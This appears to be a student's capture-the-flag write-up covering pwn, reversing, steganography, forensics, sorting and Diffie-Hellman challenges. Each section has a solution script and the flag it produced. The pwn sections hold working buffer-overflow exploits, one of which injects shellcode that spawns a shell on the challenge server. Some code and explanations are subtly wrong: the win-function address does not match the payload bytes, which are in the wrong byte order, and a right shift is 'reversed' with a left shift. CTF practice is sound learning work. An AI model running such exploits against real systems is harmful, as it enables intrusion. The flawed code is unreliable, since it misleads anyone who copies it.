Greg Smith

Category: Pwn
Challenge: Win

Examining the file in Ghidra, the main function prints a prompt, calls the function read_in, and then prints a losing message. The read_in function reads data with a scanf call and a “%s” format string into the 44-byte buffer buf, which starts at ebp - 52. There is also a win function located at 0x08049df5. In order to print out the flag, buf can be overflowed to overwrite the saved return address, and set the instruction pointer to the address of the win function. Here is a pwntools script to do that:

```
from pwn import *
target = remote("cweaccessionsctf.com", 1330)
payload = 'A' * 52 + '\x08\x04\x9d\x5f'
target.send(payload)
target.interactive()
```

Here is the flag printed when the win function is called:

flag{no_stack_smashing_here}

Category: Pwn
Challenge: Shell

When the program is run, it prints out a prompt. It then calls a vulnerable read_in function. The read_in function prints out the address of a buffer and then reads 144 bytes into the 44-byte buffer. The position of the buffer is 0x38 bytes below epb (as I found analyzing the program in Ghidra). In order to get a reverse shell, shellcode can be sent into the buffer, and then the stack pointer can be overwritten to point to the address at the beginning of the shellcode. I wrote a pwntools script to do that with shellcode from here. Here is the script I wrote:

```
from pwn import *
payload =
b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\
x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload = payload + b"A"*(0x38-len(payload))
target = remote("cweaccessionsctf.com", 1340)
target.recvuntil("Buffer location = ")
buf_location_str = target.recvuntil('\n')[0:10]
buf_location = int(buf_location_str, 16)
payload = payload + p32(buf_location)
target.send(payload)
target.interactive()
```

Here is the flag I got when I did “cat flag.txt” in the shell that was spawned:

flag{popping_shells_is_neat}

Category: Misc
Challenge: Socketz

The description for this challenge said that there are 500 math problems to answer to get to the flag. I connected with netcat to see how the questions were formatted. To complete this challenge, I wrote the following socket program in Python. The program makes a connection to the server, then reads each problem, finds the expression, evaluates it, and sends back the response. The process continues until the program reads a line from the server that starts with "flag". Here is the script that I wrote:

```
import socket

hostname = 'cweaccessionsctf.com'
port = 1420


sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((hostname, port))
data = b''

while True:
    data = sock.recv(1024)
    print(data.decode())
    if data.decode()[0:4] == 'flag':
        break
    question_mark_index = data.decode().find('?')
    problem = data.decode()[21:question_mark_index]
    solution = eval(problem)
    print(solution)
    response = str(solution).encode() + b'\n'
    sock.send(response)
```

Here is the flag:

flag{everyone_gets_a_socket}

Category: Misc
Challenge: The Least Significant

From the title of this challenge, I was pretty sure that this was about least significant bit steganography. So, I wrote the following python script to read in the file and find the least significant bit:

```
data = ''
with open('theLeastSignificant.txt') as fin:
    data = fin.read()
```

```
bits_array = data.encode()

output_array = []

for i in range(0, len(bits_array)):
    output_array.append(bits_array[i] & 0b1)

for i in range(0, len(output_array)):
    if i % 8 == 0 and i + 8 <= len(output_array):
        this_byte = output_array[i:i+8]
        this_string = ''
        for j in range(0, 8):
            this_string = this_string + str(this_byte[j])
        print(chr(int(this_string, 2)), end='')
```

The script stores the data as a byte array. I called it bits_array because I knew that there would only be one bit per character that I would be interested in. I got the least significant bit of every byte by taking the bitwise and of the bit and 1. Then, I added the ones and zeros to a list. Then, I cycled through the list of bits, added 8 at a time to another string, decoded the byte into a character, and printed the character. At the end, the flag is printed:

flag{b!ts_@nd_pieces_of_steg}

Category: Reversing
Challenge: Input1

Running the executable, it asks for the correct number and then says "You lose!". Examining the file in Ghidra, the input is passed to a check function, and the output of that function is compared to the value 12091906. Examining the checker function, I found that it will take the provided input, XOR it with the value 1845, then right shift that value by 4. Then, the function will XOR that value with 1776, and return. I reversed those operations with the following lines of C code:

```
int num = 12091906 ^ 1776;
num = num << 4;
num = num ^ 1845;
printf("%d\n", num);
```

And got the number 193480725. Here is the flag:

flag{3sNt_a$$embly_sw33T}

Category: Reversing
Challenge: Input2

The program prompts for a password, and then says "You lose!" Examining the binary in Ghidra, the program reads 19 bytes into a 24-byte input buffer. Then, two checking functions are called. Both must return not 0 in order to call system("cat flag.txt"). The first checker function checks the length of the input. The function will return true if the length of the input is equal to 15. The second function is slightly more complicated. It initiates a local counter variable that must reach 15 in order to return 1. During a while loop, each successful completion of the loop will not break and return 0 (avoiding a bad outcome), and will get one step closer to returning 1. The actual loop does a series of mod/xor/multiplication operations on indices and values stored in global buffers. At each iteration i of the loop from 0 to 14, the following must be true (if "buffers" and "final" are the global buffers):

```
buffers[(i % 3) * 15 + i] ^ input[i] == final[14-i]
```

Reversing these operations gives the following series of 15 bytes that must be passed into the program to call system("cat flag.txt"): ab f0 48 3b 3d db 9c f9 38 b9 63 3a a9 51 d0
I had to add a null byte onto the end in order to make sure the length would be 15. I wrote the following pwntools script to get the flag:

```
from pwn import *
target = remote("cweaccessionsctf.com", 1390)
payload = b"\xab\xf0\x48\x3b\x3d\xdb\x9c\xf9\x38\xb9\x63\x3a\xa9\x51\xd0\x00"
target.sendline(payload)
target.interactive()
```

Here is the flag:

flag{g3tt!ng_p@sT_$ecuritY_r_w3}

Category: Reversing
Challenge: Hash

For this problem, I started by looking at the x86.txt file that was provided and trying to understand the flow of the function. I knew that there was a loop, an if statement, and an xor operation. I started to fill in the skeleton of the C code from there. Then, I converted the .txt file into a .asm file, assembled it, and analyzed it with Ghidra. The final function that I wrote to solve the problem looked like this:

```
short h = 0;
unsigned short temp = 0;
unsigned char cur = 0;
for(short* i = (short*)s; *(char *) i != '\0'; i = (short*)((long)i + 1)){
    if((cur & 1)){
        temp = (unsigned short)(unsigned char)(*(char*)i * '\x12');
    }else{
        temp = *i * 0x1906;
    }
    h = h ^ temp;
    cur = cur + 1;
}
return h;
```

Here is the flag:

0xcbe0

Category: Forensics
Challenge: File Ninja

I opened up the image with my VM's archive manager. I was looking around the file system for anything interesting. I looked in WORK_FOL under DOCUMENTS and saw that there was _GIT directory. The challenge description said that it blocked access to most of the internet "except developer-specific sites," so I thought there was a decent chance the flag had something to do with a Git repository. Sure enough, in the CONFIG file in the WORK_FOL/_GIT directory, I saw the following line:

flag = ZmxhZ3tnMXRfMTVfYzBtcGxleF9wYnRyZzNodjZkfQ==

When I decoded the gibberish with base64, I got the following flag:

flag{g1t_15_c0mplex_pbtrg3hv6d}

Category: Programming
Challenge: Array Sort

For this challenge, I wrote the following C program:

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

#define ITEM_SIZE 15
#define MAX_LEN 4096

void selectionSort(unsigned char** A, int length);
void swap(unsigned char** A, int i, int j, int length);

int main(int argc, char* argv){
    FILE* fin = fopen("input_stream.bin", "rb");
    if(!fin){ // check whether the file was opened successfully, return if not
        fprintf(stderr, "Error: could not open input_stream.bin\n");
        exit(0);
    }

    fseek(fin, 0L, SEEK_END); // bring the read pointer to the end of the input stream
    int input_size = ftell(fin) / ITEM_SIZE; // get the size of the input
    rewind(fin); // bring the read pointer back to the beginning of the file

    // initialize a 2D array to be sorted
    unsigned char** sort_this = malloc(input_size * sizeof(unsigned char*));
    for(int i = 0; i < input_size; i++){
        sort_this[i] = malloc(sizeof(unsigned char) * ITEM_SIZE);
    }
```

```
	// read the input from the binary file into the array
	for(int i = 0; i < input_size; i++){
		fread(sort_this[i], sizeof(unsigned char) * ITEM_SIZE, 1, fin);
	}

	// call selectionSort to sort the array
	selectionSort(sort_this, input_size);

	// make an array to hold the output
	unsigned char output[ITEM_SIZE - 2];
	for(int i = 0; i < ITEM_SIZE - 2; i++){
		output[i] = sort_this[0][i + 2];
	}

	// do the xor operations to set the value of the output
	for(int i = 2; i < input_size; i++){
		if(i % 2 == 0){
			for(int j = 2; j < ITEM_SIZE; j++){
				output[j-2] = output[j-2] ^ sort_this[i][j];
			}
		}
	}

	//print the flag
	for(int i = 0; i < ITEM_SIZE - 2; i++){
		printf("%c", output[i]);
	}
	printf("\n");


	// free the array that was sorted
	for(int i = 0; i < input_size; i++){
		free(sort_this[i]);
	}
	free(sort_this);

	return 0;
}

void selectionSort(unsigned char** A, int length){
	for(int i = 0; i < length - 1; i++){
		int m = i;
		for(int j = i + 1; j < length; j++){
			int J_ = (((int) A[j][0]) << 8) + (int)A[j][1];
			int M_ = (((int) A[m][0]) << 8) + (int)A[m][1];
```

```
                        if(J_ < M_){
                                m = j;
                        }
                }
                swap(A, i, m, length);
        }
}

void swap(unsigned char** A, int i, int j, int length){
        if(i >= length || j >= length || i < 0 || j < 0){
                return;
        }
        char* temp = malloc(sizeof(unsigned int) * ITEM_SIZE);
        for(int k = 0; k < ITEM_SIZE; k++){
                temp[k] = A[i][k];
        }
        for(int k = 0; k < ITEM_SIZE; k++){
                A[i][k] = A[j][k];
        }
        for(int k = 0; k < ITEM_SIZE; k++){
                A[j][k] = temp[k];
        }
        free(temp);
}
```

My program read the data from the binary file into an array, called selectionSort (only looking at the first two bits), and did the relevant XOR operations on the even indexed items in the sorted array. Here is the flag that was printed by my program:

flag{H3b~4c?}

Category: Crypto
Challenge: Diffie-cult

A simple implementation of a Diffie-Hellman key exchange would work in the following manner: over an unsecure channel, two parties can agree upon a public generator g and prime modulus p. Then, each randomly comes up with its own private key a and b. Public shared values A and B can be agreed upon by sharing the result of the computations $A = g^a$ mod p and $B = g^b$ mod p. Then, a shared secret s can be computed in the following ways: $s = B^a$ mod p and $s = A^b$ mod p. The beauty of this system is that the computations for s are actually happening in the same way at both ends of the exchange, but in order to compute s in this manner, one must know at least one of the private keys a or b. Fortunately for me, the complexity of this problem was low enough that I could brute force it with this Python script:

```
for a in range(10,100):
    for b in range(10, 100):
        sA = ( 635 ** b ) % 1009
```

```
sB = ( 442 ** a ) % 1009
A = ( 4 ** a ) % 1009
B = ( 4 ** b ) % 1009
if sA == sB and A == 635 and B == 442:
    print("a: " + str(a))
    print("b: " + str(b))
```

The output that I got from this was a = 42 and b = 55.